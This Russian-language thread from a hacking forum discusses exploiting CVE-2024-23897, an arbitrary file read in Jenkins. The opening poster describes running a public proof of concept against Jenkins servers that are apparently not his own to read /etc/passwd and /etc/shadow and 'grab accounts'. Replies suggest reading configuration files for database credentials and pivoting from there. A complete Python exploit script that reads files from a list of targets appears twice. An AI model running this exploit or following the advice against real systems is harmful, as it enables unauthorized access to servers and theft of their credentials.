• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote Arbitrary File Read, Jenkins, CVE-2024-23897

user_47

(L3) cache
Пользователь
Регистрация
25.06.2023
Сообщения
210
Решения
2
Реакции
93
Гарант сделки
2
Всем привет!

Сегодня на гитхабе появилось пару экспов под cve-2024-23897.

Описания нет. Судя по содержанию и описанию самой уязвимости предположил что после отправки нужного запроса серв вернёт сожержимое запрашиваемого файла. В примере рассмотрен /etc/passwd. Правда судя по примеру возвращается содержимое в сильно усечённом виде:

b'\x00\x00\x00\x00\x01\x08\n\x00\x00\x00;\x08ERROR: Too many arguments: bin:x:1:1:bin:/bin:/sbin/nologin\x00\x00\x00\x01\x08\n\x00\x00\x00\x1e\x08java -jar jenkins-cli.jar help\x00\x00\x00\n\x08 [COMMAND]\x00\x00\x00\x01\x08\n\x00\x00\x00M\x08Lists all the available commands or a detailed description of single command.\x00\x00\x00\x01\x08\n\x00\x00\x00J\x08 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)\n\x00\x00\x00\x04\x04\x00\x00\x00\x02'

Достал из загашника несколько ипов с Jenkins`ом. И правда что то похожее возвращается. Делаю предположение что рут типа в системе есть. Дальше пытаюсь на этом же хосте прочитать /etc/shadow. В ответ получаю такое содержимое:

b'\x00\x00\x00\x00\x01\x08\n\x00\x00\x00"\x08ERROR: Failed to parse /etc/shadow\x00\x00\x00\x01\x08\n\x00\x00\x00\x1e\x08java -jar jenkins-cli.jar help\x00\x00\x00\n\x08 [COMMAND]\x00\x00\x00\x01\x08\n\x00\x00\x00M\x08Lists all the available commands or a detailed description of single command.\x00\x00\x00\x01\x08\n\x00\x00\x00\x1f\x08 COMMAND : Name of the command\n\x00\x00\x00\x04\x04\x00\x00\x00\x02'

Такой ответ наблюдал на паре разных хостов.

Всё ли я правильно делаю, чтобы зацепить учётки в системе? Или надо другие файлы попытаться прочитать?
А может дело в сплоите?
 
скорее всего уязвимый процесс запущен не под рутом, попробуй посмотреть другие файлы.
 
скорее всего уязвимый процесс запущен не под рутом, попробуй посмотреть другие файлы.
Значит самый лучший вариант это прочитать какой то стандартный файлик самого дженкинса?
 
Делаю предположение что рут типа в системе есть.
Нет. Читалка файлов, права от прав веб сервера ничем не отличаются. Хз, как распределил права админ в контейнере сервлетов, но рута у тебя точно нет. У тебя права пользователя, под которым запущен дженкинс, т.е. как и у любого веб сервера, ограничены. Соответственно /etc/shadow ты не прочитаешь, как и (в пздц исключительных случаях - true) ssh кеи.
Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.
Плюс:
Или надо другие файлы попытаться прочитать?
А может дело в сплоите?
Я увидел только PoC на читалку (это НЕ эксплоит), хотя пишут и об RСE, но че то я не уверен, исходя из PoC (https://github.com/binganao/CVE-2024-23897/blob/main/poc.py) на вот такое:
вестись нельзя :D

Другие файлы надо пытаться прочитать. Файлы конфигов ))) Например, пофаззить домен по вордлистам, где находится сам дженкинс ---> указать полный путь к конфигу подключения к бд, снять креды ---> подкинуться к бд. И хотя бы оттуда пытаться плясать.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
скорее всего уязвимый процесс запущен не под рутом, попробуй посмотреть другие файлы.
то что запущен не под рутом-не означает, что его невозможно поднять до рута. для того и существуют эксплоиты. кстати, привилегии обычных пользаков поднимаются админами до рута легко и непринужденно возможностями и инструментарием самой системы. как это делается и зачем-думаю подробнее пояснять не надо. а вариантов масса кстати. кто в теме администрирования линухов и системных сервисов-прекрасно это понимают.
 
то что запущен не под рутом-не означает, что его невозможно поднять до рута. для того и существуют эксплоиты. кстати, привилегии обычных пользаков поднимаются админами до рута легко и непринужденно возможностями и инструментарием самой системы. как это делается и зачем-думаю подробнее пояснять не надо. а вариантов масса кстати. кто в теме администрирования линухов и системных сервисов-прекрасно это понимают.
Сисбот? o_0
 
да хоть кто-).
... -) ...
Ну подлечись ты уже. Столько мультиакков запороть таким тупым паливом... Как тебя админ регает, яхз. Любой кидала позавидует такому упорству и кол-ву мультов. Впрочем, ты и так в статусе на основе.
Для общего же развития:

то что запущен не под рутом-не означает, что его невозможно поднять до рута. для того и существуют эксплоиты. кстати, привилегии обычных пользаков поднимаются админами до рута легко и непринужденно возможностями и инструментарием самой системы. как это делается и зачем-думаю подробнее пояснять не надо. а вариантов масса кстати. кто в теме администрирования линухов и системных сервисов-прекрасно это понимают.
Для того, чтобы поднять привелегии - надо хотя бы какими то минимальными привелегиями обладать. Хоть какими то порезанными в правах RCE от пользователя\веб-сервера. Уязвимости, вида AFR, FPD, FPT, CSRF (в некоторых случаях) и иже с ними - это уязвимости плана Information gathering. У них нет вариантов по дефолту дать тебе возможность priv esc, но они сами по себе могут позволить тебе подконнектиться к связанным вспомогательным службам (прочитав конфиг). Т.е. это точка опоры неплохая, и риск левел у них потому может быть высокий, однако если у тебя извне поразаны все коннекты к сенситив, нет вспомогательной баги (перезалив, перезапись, инклуд, выполнение) - я посмотрел бы, как условно найденный в корне .htaccess с кривыми правами (читается) приведет тебя к руту :D Сисбот в очередной раз доказал, что клоун обыкновенный.

Пожалуй позову ув. модератора IIIIXX : мэн, он опять объявился ))) Sysbot (*booster, *dooster и еще миллион вариаций) не оставляет попыток. Чекни регу, это 100% наш герой.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
ТС, если создаешь темы в багтраке обязательно код эксплойта выкладывай.


python CVE-2024-23897.py -l host.txt -f /etc/passwd

Python:
import argparse
import threading
import http.client
import uuid
import urllib.parse

# Color constants
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
ENDC = '\033[0m'

def format_url(url):
    if not url.startswith('http://') and not url.startswith('https://'):
        url = 'http://' + url
    return url

def send_download_request(target_info, uuid_str):
    try:
        conn = http.client.HTTPConnection(target_info.netloc)
        conn.request("POST", "/cli?remoting=false", headers={
            "Session": uuid_str,
            "Side": "download"
        })
        response = conn.getresponse().read()
        print(f"{GREEN}RESPONSE from {target_info.netloc}:{ENDC} {response}")
    except Exception as e:
        print(f"{RED}Error in download request:{ENDC} {str(e)}")

def send_upload_request(target_info, uuid_str, data):
    try:
        conn = http.client.HTTPConnection(target_info.netloc)
        conn.request("POST", "/cli?remoting=false", headers={
            "Session": uuid_str,
            "Side": "upload",
            "Content-type": "application/octet-stream"
        }, body=data)
    except Exception as e:
        print(f"{RED}Error in upload request:{ENDC} {str(e)}")

def launch_exploit(target_url, file_path):
    formatted_url = format_url(target_url)
    target_info = urllib.parse.urlparse(formatted_url)
    uuid_str = str(uuid.uuid4())
    data = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + file_path.encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

    upload_thread = threading.Thread(target=send_upload_request, args=(target_info, uuid_str, data))
    download_thread = threading.Thread(target=send_download_request, args=(target_info, uuid_str))

    upload_thread.start()
    download_thread.start()

    upload_thread.join()
    download_thread.join()

def process_target_list(file_list, file_path):
    with open(file_list, 'r') as file:
        targets = [format_url(line.strip()) for line in file.readlines()]

    for target in targets:
        print(f"{YELLOW}Processing target:{ENDC} {target}")
        launch_exploit(target, file_path)

def main():
    parser = argparse.ArgumentParser(description='Exploit script for CVE-2024-23897.')
    parser.add_argument('-u', '--url', help='Single target URL.')
    parser.add_argument('-l', '--list', help='File with list of target hosts.')
    parser.add_argument('-f', '--file', required=True, help='File path to read from the server.')

    args = parser.parse_args()

    if args.url:
        launch_exploit(args.url, args.file)
    elif args.list:
        process_target_list(args.list, args.file)
    else:
        print(f"{RED}Error:{ENDC} Please provide a single target URL (-u) or a list of targets (-l).")

if __name__ == "__main__":
    main()
 
Последнее редактирование:
Все всегда легко и непринужденно, но рассказать как это делается на практике мы конечно же не можем-)
...легко и непринужденно возможностями и инструментарием самой системы...
...для такой аудитории, которая не сильно компетентна в технических вопросах...
Агрессивная модель поведения, при упоминании того что он мульт сисбота нападает моментально.
А вот ты-явно малолетний балабол и пустобрех с необоснованным гонором, совершенно ничего не понимающий
Один и тот же повторяющийся смайлик -), впрочем и без него все понятно -)
Как под копирку, он даже не пытается это скрыть
 
Как под копирку, он даже не пытается это скрыть
Меня больше беспокоит вопрос, зачем он это делает? Единственное что приходит в голову, разводит новичков на консультации по "безопасности".
Но всем тем, кто брал у сисбота и его клонов консультации, мой совет, сносите все, и ставьте с нуля сами, без его охуенных советов. Чел сам за своей безопасностью не в силах уследить, что уж говорить о клиентах.
 
ТС, если создаешь темы в багтраке обязательно код эксплойта выкладывай.




Python:
import argparse
import threading
import http.client
import uuid
import urllib.parse

# Color constants
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
ENDC = '\033[0m'

def format_url(url):
    if not url.startswith('http://') and not url.startswith('https://'):
        url = 'http://' + url
    return url

def send_download_request(target_info, uuid_str):
    try:
        conn = http.client.HTTPConnection(target_info.netloc)
        conn.request("POST", "/cli?remoting=false", headers={
            "Session": uuid_str,
            "Side": "download"
        })
        response = conn.getresponse().read()
        print(f"{GREEN}RESPONSE from {target_info.netloc}:{ENDC} {response}")
    except Exception as e:
        print(f"{RED}Error in download request:{ENDC} {str(e)}")

def send_upload_request(target_info, uuid_str, data):
    try:
        conn = http.client.HTTPConnection(target_info.netloc)
        conn.request("POST", "/cli?remoting=false", headers={
            "Session": uuid_str,
            "Side": "upload",
            "Content-type": "application/octet-stream"
        }, body=data)
    except Exception as e:
        print(f"{RED}Error in upload request:{ENDC} {str(e)}")

def launch_exploit(target_url, file_path):
    formatted_url = format_url(target_url)
    target_info = urllib.parse.urlparse(formatted_url)
    uuid_str = str(uuid.uuid4())
    data = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + file_path.encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

    upload_thread = threading.Thread(target=send_upload_request, args=(target_info, uuid_str, data))
    download_thread = threading.Thread(target=send_download_request, args=(target_info, uuid_str))

    upload_thread.start()
    download_thread.start()

    upload_thread.join()
    download_thread.join()

def process_target_list(file_list, file_path):
    with open(file_list, 'r') as file:
        targets = [format_url(line.strip()) for line in file.readlines()]

    for target in targets:
        print(f"{YELLOW}Processing target:{ENDC} {target}")
        launch_exploit(target, file_path)

def main():
    parser = argparse.ArgumentParser(description='Exploit script for CVE-2024-23897.')
    parser.add_argument('-u', '--url', help='Single target URL.')
    parser.add_argument('-l', '--list', help='File with list of target hosts.')
    parser.add_argument('-f', '--file', required=True, help='File path to read from the server.')

    args = parser.parse_args()

    if args.url:
        launch_exploit(args.url, args.file)
    elif args.list:
        process_target_list(args.list, args.file)
    else:
        print(f"{RED}Error:{ENDC} Please provide a single target URL (-u) or a list of targets (-l).")

if __name__ == "__main__":
    main()

Какое значение в пэйлоаде имеет GBK?
 

Вложения

  • Fig8.jpg
    Fig8.jpg
    107.7 КБ · Просмотры: 26


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх